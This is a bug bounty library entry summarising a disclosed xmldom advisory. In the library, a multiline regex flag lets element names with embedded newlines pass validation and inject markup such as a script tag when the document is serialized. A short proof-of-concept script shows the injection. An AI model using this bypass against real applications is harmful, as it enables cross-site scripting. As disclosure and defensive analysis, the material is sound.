# xmldom: Creation-time XML Name/QName validation is bypassable via an embedded line terminator, allowing injection on the default serialization path

xmldom's creation-time QName validation uses an m-flagged regex, so a name with an embedded line terminator passes and injects markup on serialization.

- Payout: Research
- Severity: high
- Program: xmldom
- Found by: karfau
- Disclosed: 2026-09-08
- CVE: CVE-2026-83609
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-3px3-54cx-rmw9
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-3px3-54cx-rmw9
- Tags: area:oss domain:oss impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:parser-differential technique:source-review vuln:xss

**Target:** npm @xmldom/xmldom DOM create* APIs and XMLSerializer
**Root cause:** A shared regexp builder compiles anchored QName productions with the `m` flag, so `^...$` anchors per line; `.test()` accepts a name whose first line is valid and leaves subsequent lines unconstrained.
**Steps:**
1. `const doc = impl.createDocument('urn:x','root',null)`
2. `doc.createElementNS('urn:x','a\n><script>x</script')` — accepted, no InvalidCharacterError
3. Append element to documentElement
4. `new XMLSerializer().serializeToString(doc)` without requireWellFormed emits `<a\n><script>x</script/>` injecting markup
5. Control: `createElementNS('urn:x','bad>name')` throws InvalidCharacterError, confirming the check is active but bypassed by the line terminator
**How found:** Noticed the shared regexp builder compiles anchored productions with the `m` flag, making `^...$` line anchors rather than string anchors; tested create* APIs with a name containing a line terminator followed by breakout markup.
**Exploitation:** An app that relies on create* APIs rejecting malformed names as a trust boundary admits an attacker-controlled name; on serialization the post-line-terminator characters become markup, yielding structure injection and downstream XSS where output reaches an HTML context. requireWellFormed:true does not mitigate.
**Escalation:** Chained to XSS when serialized output is rendered in an HTML context; the strict serializer shares the same m-flag blind spot so no serializer option stops it.
**Insight:** Audit shared regexp builders for stray flags: an `m` flag on anchored `^...$` productions silently turns whole-string validation into per-line validation, so any input with an embedded line terminator (U+000A/000D/2028/2029) can smuggle a second line past a check that looks strict.

## Proof of concept (copied exactly from the original report)

**createElementNS line-terminator injection PoC**

```
const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');
const impl = new DOMImplementation();

const doc = impl.createDocument('urn:x', 'root', null);
const el = doc.createElementNS('urn:x', 'a\n><script>x</script');  // ACCEPTED (no throw)
doc.documentElement.appendChild(el);

// DEFAULT serialization — requireWellFormed NOT set:
console.log(new XMLSerializer().serializeToString(doc));
// Observed: <root xmlns="urn:x"><a
// ><script>x</script/></root>          <-- injected element on the default path
// Control: createElementNS('urn:x', 'bad>name') throws InvalidCharacterError, confirming the check is
// active and specifically bypassed by the line terminator.
```

